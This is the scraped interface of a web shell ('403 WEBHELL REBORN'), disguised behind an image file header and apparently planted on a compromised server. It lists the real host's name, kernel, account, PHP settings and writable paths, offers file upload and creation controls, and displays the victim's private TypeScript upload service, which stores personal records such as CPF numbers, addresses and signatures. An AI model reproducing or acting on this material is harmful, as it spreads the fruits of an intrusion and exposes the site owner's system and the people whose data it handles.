ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/sebraevisitas/src/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/sebraevisitas/src/services/UploadServices.ts
import prisma from "../prisma";
import inflateFromBase64 from "../utils/compressors/inflateFromBase64";
import convertDdMmYyyyToDate from "../utils/conversors/convertdate";


interface CadastroPfProps{
    nome:string,
    cpf:string,
    sexo:string,
    possuinomesocial:number,
    nomesocial?:string | null,
    datanasc:string ,
    escolaridade:string ,
    possuideficiencia:number ,
    deficiencia?:string | null,
    possuifuncionariocomdeficiencia:number,
    cep:string,
    tipologradoro:string,
    endereco:string,
    numero:string,
    complemento:string,
    bairro:string,
    cidade:string,
    estado:string,
    aceitacontatopor:string,
    telefone:string,
    celular:string,
    email:string,
    checkinId:number,
    userId:string,
}

interface CadastroPjProps{
    userid:string;
    cnpj:string;
    razaosocial:string;
    nomefantasia:string;
    faixadefaturamento:string;
    datadeabertura:string;
    setor:string;
    cnae:string;
    cep:string;
    tipologradoro:string;
    endereco:string;
    numero:string;
    complemento:string;
    bairro:string;
    cidade:string;
    estado:string;
    email:string;
    naotememail:number;
    telefone:string;
    celular:string;
    whatsapp:string;
}

interface PlanoAcao {
    userId:string;
    planoAcao:string;
}



interface EntrevistaDiagnosticoProps {
    userId:string;
    areaEscolhida:string;
    formacao_preco_venda:number | null;
    credito_capital_giro:number | null;
    credito_expansao:number | null;
    controle_financeiro:number | null;
    outro_financas:number | null;
    divulgacao_ecommerce:number | null;
    visual_ponto_loja:number | null;
    atendimento_clientes:number | null;
    concorrencia:number | null;
    outro_marketing:number | null;
    selecao_pessoas:number | null;
    retencao_motivacao:number | null;
    outro_rh:number | null;
    caixa_edicao:string | null;
}

interface AssinaturaDigitalProps {
    userId:string;
    assinaturaDigital:string;
}

interface CheckoutProps {
    userId:string;
    interessePrograma:number;
    horarioContato:string;
    aceitaEmail:number;
    deixouComentarios:number;
    comentarios:string;
}

interface RecordingsProps {
    title:string;
    filename:string;
    mimeType:string;
    base64:string;
}

interface VisitaProcessProps {
    isAdmin:number,
    envolvimentoGestao:string,
    formalizadaPorteMeEpp:number,
    disponibilidademomento:number,
    userId:string,
    latitude:string,
    longitude:string,
    createdAt:string,
    updatedAt:string,
}

interface DataProcesssProps extends VisitaProcessProps{
    cadastroPf:CadastroPfProps[]
    cadastroPj:CadastroPjProps[]
    planoAcao:PlanoAcao[]
    entrevistaDiagnostico:EntrevistaDiagnosticoProps[]
    assinaturaDigital:AssinaturaDigitalProps[]
    checkout:CheckoutProps[]
    recordings: RecordingsProps[]
}

interface Checkin{
    checkinCompressed:string | any,
}

const isString = (x: unknown): x is string => typeof x === "string";
const isPlainObject = (x: unknown): x is Record<string, unknown> =>
    typeof x === "object" && x !== null && !Array.isArray(x);

const UploadServices = class UploadServices {
    static async receiveData(checkin:Checkin){
        try{
            const DecompressCheckin =  JSON.parse(inflateFromBase64(checkin.checkinCompressed))
            //const DecompressCheckin =  checkin.checkinCompressed as any | string
            let data
            if(isString(DecompressCheckin)){
                data = DecompressCheckin
            }else if(isPlainObject(DecompressCheckin)){
                data = JSON.stringify(DecompressCheckin)
            }else{
                console.error('Checkin Error , not string even object -> ' , DecompressCheckin)
                throw new Error('Visita inválido')
            }
            console.log('Checkin -> ' , DecompressCheckin)

            const visita = await prisma.visitasreceived.create({
                data:{
                    visita: data
                }
            })

            return {receivedCheckin:visita , }
        }catch (err){
            console.error(err)
            throw err;
        }
    }

    static async processData(data:DataProcesssProps){
        try {

            const visita = {} as VisitaProcessProps
            visita.isAdmin = data.isAdmin
            visita.envolvimentoGestao = data.envolvimentoGestao
            visita.formalizadaPorteMeEpp = data.formalizadaPorteMeEpp
            visita.disponibilidademomento = data.disponibilidademomento
            visita.userId = data.userId
            visita.latitude = data.latitude
            visita.longitude = data.longitude
            visita.createdAt = data.createdAt
            visita.updatedAt = data.updatedAt

            const visitadb = await prisma.checkinvisita.create({
                data:{
                    isAdmin:(visita.isAdmin === 1),
                    envolvimentoGestao:visita.envolvimentoGestao,
                    disponibilidademomento:(visita.disponibilidademomento ===1),
                    formalizadaPorteMeEpp:(visita.formalizadaPorteMeEpp === 1),
                    userId:visita.userId,
                    latitude:visita.latitude,
                    longitude:visita.longitude,
                    insertedAt:visita.createdAt,
                }
            })

            const cadastroPf : CadastroPfProps = data.cadastroPf[0]

            const cadastroPfdb = await prisma.cadastropf.create({
                data:{
                    userId:cadastroPf.userId,
                    nome:cadastroPf.nome,
                    cpf:cadastroPf.cpf,
                    sexo:cadastroPf.sexo,
                    possuinomesocial:(cadastroPf.possuinomesocial=== 1),
                    nomesocial:cadastroPf.nomesocial,
                    datanasc: convertDdMmYyyyToDate(cadastroPf.datanasc) ,
                    escolaridade:cadastroPf.escolaridade,
                    possuideficiencia:(cadastroPf.possuideficiencia === 1),
                    deficiencia:cadastroPf.deficiencia,
                    possuifuncionariocomdeficiencia:(cadastroPf.possuifuncionariocomdeficiencia === 1),
                    cep:cadastroPf.cep,
                    tipologradoro:cadastroPf.tipologradoro,
                    endereco:cadastroPf.endereco,
                    numero:cadastroPf.numero,
                    complemento:cadastroPf.complemento,
                    bairro:cadastroPf.bairro,
                    cidade:cadastroPf.cidade,
                    estado:cadastroPf.estado,
                    aceitacontatopor:cadastroPf.aceitacontatopor,
                    telefone:cadastroPf.telefone,
                    celular:cadastroPf.celular,
                    checkinvisitaId:visitadb.id
                }
            })

            const cadastropj : CadastroPjProps = data.cadastroPj[0]

            const cadastopjdb = await prisma.cadastropj.create({
                data:{
                    userId:cadastropj.userid,
                    cnpj:cadastropj.cnpj,
                    razaosocial:cadastropj.razaosocial,
                    nomefantasia:cadastropj.nomefantasia,
                    faixadefaturamento:cadastropj.faixadefaturamento,
                    datadeabertura: convertDdMmYyyyToDate(cadastropj.datadeabertura),
                    setor:cadastropj.setor,
                    cnae:cadastropj.cnae,
                    cep:cadastropj.cep,
                    tipologradoro:cadastropj.tipologradoro,
                    endereco:cadastropj.endereco,
                    numero:cadastropj.numero,
                    complemento:cadastropj.complemento,
                    bairro:cadastropj.bairro,
                    cidade:cadastropj.cidade,
                    estado:cadastropj.estado,
                    email:cadastropj.email,
                    naotememail:(cadastropj.naotememail ===1),
                    telefone:cadastropj.telefone,
                    celular:cadastropj.celular,
                    whatsapp:cadastropj.whatsapp,
                    checkinvisitaId:visitadb.id
                }
            })

            const planoacao : PlanoAcao = data.planoAcao[0]
            const planoacaodb = await prisma.planoacao.create({
                data:{
                    userId:planoacao.userId,
                    planoAcao:planoacao.planoAcao,
                    checkinvisitaId:visitadb.id
                }
            })

            const entrevistadiagnostico : EntrevistaDiagnosticoProps = data.entrevistaDiagnostico[0]
            const entrevistadiagnosticodb = await prisma.entrevistaDiagnostico.create({data:{
                    userId:entrevistadiagnostico.userId,
                    checkinvisitaId:visitadb.id,
                    areaEscolhida:entrevistadiagnostico.areaEscolhida,
                    formacao_preco_venda:entrevistadiagnostico.formacao_preco_venda,
                    credito_capital_giro:entrevistadiagnostico.credito_capital_giro,
                    credito_expansao:entrevistadiagnostico.credito_expansao,
                    controle_financeiro:entrevistadiagnostico.controle_financeiro,
                    outro_financas:entrevistadiagnostico.outro_financas,
                    divulgacao_ecommerce:entrevistadiagnostico.divulgacao_ecommerce,
                    visual_ponto_loja:entrevistadiagnostico.visual_ponto_loja,
                    atendimento_clientes:entrevistadiagnostico.atendimento_clientes,
                    concorrencia:entrevistadiagnostico.concorrencia,
                    outro_marketing:entrevistadiagnostico.outro_marketing,
                    selecao_pessoas:entrevistadiagnostico.selecao_pessoas,
                    retencao_motivacao:entrevistadiagnostico.retencao_motivacao,
                    outro_rh:entrevistadiagnostico.outro_rh,
                    caixa_edicao:entrevistadiagnostico.caixa_edicao
                }
            })

            const assinaturadigital : AssinaturaDigitalProps = data.assinaturaDigital[0]

            const assinaturadigitaldb = await prisma.assinaturadigital.create({
                data:{
                    assinaturaDigital:assinaturadigital.assinaturaDigital,
                    userId: assinaturadigital.userId,
                    checkinvisitaId:visitadb.id
                }
            })

            const checkout :CheckoutProps = data.checkout[0]

            const checkoutdb = await prisma.checkout.create({
                data:{
                    userId:checkout.userId,
                    checkinvisitaId:visitadb.id,
                    interessePrograma:checkout.interessePrograma===1,
                    horarioContato:checkout.horarioContato,
                    aceitaEmail:checkout.aceitaEmail===1,
                    deixouComentarios:checkout.deixouComentarios===1,
                    comentarios:checkout.comentarios,
                }
            })
            const recordings : RecordingsProps[] = data.recordings

            await Promise.all(recordings.map(async (recording) => {
                const recordingdb = await prisma.recordings.create({
                    data:{
                        title:recording.title || '',
                        mimeType:recording.mimeType || '',
                        filename:recording.filename || '',
                        base64:recording.base64 || '',
                        checkinvisitaId:visitadb.id
                    }
                })
                })
            )

            await prisma.checkinvisita.update({
                data:{
                    processedAt:new Date()
                },
                where:{
                    id:visitadb.id
                }
            })
            return {visita:visitadb , cadastroPf:cadastroPfdb , cadastroPj:cadastopjdb , planoAcao:planoacaodb , entrevistaDiagnostico:entrevistadiagnosticodb , assinaturaDigital:assinaturadigitaldb , checkout:checkoutdb , recordings:recordings}
        }catch (err){
            console.error(err)
            throw err;
        }
    }

    static async getById(id: string){
        try{
            const visita =  await prisma.visitasreceived.findUnique({
                where: {id}
            });

            if(visita){
                //visita.visita = JSON.parse(visita.visita)
            }
            return visita
        }catch(err){
            console.error(err);
            throw err;
        }
    }

    static async delete_received_checkin(id:string){
        try{
            return await prisma.visitasreceived.delete({
                where: {
                    id
                }
            })
        }catch(err){
            throw err
        }
    }

    static async get_checkins_visitasreceived(){
        return prisma.visitasreceived.findMany({})
    }
}

export default UploadServices;

Anon7 - 2021